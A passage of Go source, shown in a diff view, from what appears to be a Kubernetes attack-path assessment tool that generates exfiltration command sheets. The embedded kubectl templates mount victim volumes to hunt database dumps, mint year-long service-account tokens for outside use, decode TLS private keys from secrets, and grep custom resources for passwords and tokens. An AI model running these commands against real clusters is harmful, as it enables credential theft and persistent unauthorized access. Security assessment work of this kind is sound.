kubectl get pv -o json | jq -r '.items[] | select(.spec.hostPath != null) | "\(.metadata.name): hostPath=\(.spec.hostPath.path)"'
|
||||
|
||||
# Create a pod to mount and read PVC data:
|
||||
cat <<'EOF' | kubectl apply -f -
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: pvc-reader
|
||||
namespace: TARGET_NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: reader
|
||||
image: alpine
|
||||
command: ["sleep", "3600"]
|
||||
volumeMounts:
|
||||
- name: data
|
||||
mountPath: /data
|
||||
volumes:
|
||||
- name: data
|
||||
persistentVolumeClaim:
|
||||
claimName: TARGET_PVC_NAME
|
||||
EOF
|
||||
|
||||
# Then exec in and browse:
|
||||
kubectl exec -it pvc-reader -n TARGET_NAMESPACE -- ls -la /data
|
||||
kubectl exec -it pvc-reader -n TARGET_NAMESPACE -- find /data -type f -name "*.sql" -o -name "*.dump" -o -name "*.bak"`)
|
||||
|
||||
// Token Generation
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## TOKEN GENERATION
|
||||
##############################################
|
||||
# Generate SA tokens for use outside the cluster`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Token Exfil"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with token generation permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Generate token for a service account:
|
||||
kubectl create token SA_NAME -n NAMESPACE
|
||||
|
||||
# Generate long-lived token (1 year):
|
||||
kubectl create token SA_NAME -n NAMESPACE --duration=8760h
|
||||
|
||||
# Generate token with specific audience:
|
||||
kubectl create token SA_NAME -n NAMESPACE --audience=https://my-service.example.com
|
||||
|
||||
# Use generated token externally:
|
||||
TOKEN=$(kubectl create token SA_NAME -n NAMESPACE)
|
||||
curl -sk -H "Authorization: Bearer $TOKEN" https://KUBERNETES_API/api/v1/namespaces`)
|
||||
|
||||
// CRD Secrets (cert-manager, external-secrets, vault)
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## CRD-BASED SECRETS
|
||||
##############################################
|
||||
# Extract secrets from cert-manager, external-secrets, vault, etc.`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "CRD Secrets (Certs)", "CRD Secrets (ExtSecrets)", "CRD Secrets (CSI)", "CRD Secrets (Vault)"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with CRD secrets access")
|
||||
}
|
||||
content = append(content, `
|
||||
# cert-manager - List certificates:
|
||||
kubectl get certificates -A -o wide
|
||||
kubectl get certificates -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): secret=\(.spec.secretName)"'
|
||||
|
||||
# cert-manager - Extract certificate and key from secret:
|
||||
kubectl get secret CERT_SECRET -n NAMESPACE -o json | jq -r '.data["tls.crt"]' | base64 -d
|
||||
kubectl get secret CERT_SECRET -n NAMESPACE -o json | jq -r '.data["tls.key"]' | base64 -d
|
||||
|
||||
# external-secrets - List ExternalSecrets:
|
||||
kubectl get externalsecrets -A -o wide
|
||||
kubectl get externalsecrets -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): target=\(.spec.target.name)"'
|
||||
|
||||
# external-secrets - View SecretStore configs (may reveal cloud credentials):
|
||||
kubectl get secretstores -A -o yaml
|
||||
kubectl get clustersecretstores -o yaml
|
||||
|
||||
# Vault - List VaultAuth configs:
|
||||
kubectl get vaultauths -A -o yaml
|
||||
kubectl get vaultconnections -A -o yaml
|
||||
|
||||
# secrets-store-csi - List SecretProviderClasses:
|
||||
kubectl get secretproviderclasses -A -o yaml`)
|
||||
|
||||
// Custom Resources
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## CUSTOM RESOURCES
|
||||
##############################################
|
||||
# Extract sensitive data from application-specific CRDs`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Custom Resources"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with custom resource access")
|
||||
}
|
||||
content = append(content, `
|
||||
# List all CRDs in the cluster:
|
||||
kubectl get crds -o custom-columns='NAME:.metadata.name,GROUP:.spec.group'
|
||||
|
||||
# Find CRDs that might contain sensitive data:
|
||||
kubectl get crds -o name | xargs -I{} kubectl get {} -A -o yaml 2>/dev/null | grep -iE '(password|secret|token|key|credential)' | head -50
|
||||
|
||||
# Common sensitive CRDs to check:
|
||||
kubectl get sealedsecrets -A -o yaml 2>/dev/null # Bitnami Sealed Secrets
|
||||
kubectl get externalsecrets -A -o yaml 2>/dev/null # External Secrets Operator
|
||||
kubectl get secretclaims -A -o yaml 2>/dev/null # Crossplane
|
||||
kubectl get databaseclusters -A -o yaml 2>/dev/null # Database operators`)
|
||||
|
||||
return strings.Join(content, "\n")
|
||||
}
|
||||
|
||||
// groupExfilByMethod groups paths by their Method field
|
||||
func groupExfilByMethod(paths []attackpathservice.AttackPath) map[string][]attackpathservice.AttackPath {
|
||||
groups := make(map[string][]attackpathservice.AttackPath)
|
||||
for _, path := range paths {
|
||||
groups[path.Method] = append(groups[path.Method], path)
|
||||
}
|
||||
return groups
|
||||
}
|
||||
|
||||
// getExfilEntitiesForMethods returns unique entities that have any of the specified methods
|
||||
func getExfilEntitiesForMethods(methodGroups map[string][]attackpathservice.AttackPath, methods ...string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var entities []string
|
||||
|
||||
for _, method := range methods {
|
||||
if paths, ok := methodGroups[method]; ok {
|
||||
for _, path := range paths {
|
||||
key := fmt.Sprintf("%s:%s", path.PrincipalType, path.Principal)
|
||||
if !seen[key] {
|
||||
seen[key] = true
|
||||
entities = append(entities, fmt.Sprintf("%s (%s) - %s", path.Principal, path.PrincipalType, path.ScopeName))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return entities
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
|
||||
func countExfilRiskLevels(paths []attackpathservice.AttackPath) *shared.RiskCounts {
|
||||
counts := shared.NewRiskCounts()
|
||||
for _, path := range paths {
|
||||
counts.Add(path.RiskLevel)
|
||||
}
|
||||
return counts
|
||||
}
|
||||
|
||||
func filterExfilByCategory(paths []attackpathservice.AttackPath, category string) []attackpathservice.AttackPath {
|
||||
var filtered []attackpathservice.AttackPath
|
||||
for _, path := range paths {
|
||||
if path.Category == category {
|
||||
filtered = append(filtered, path)
|
||||
}
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
Loaded 100 of 167 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user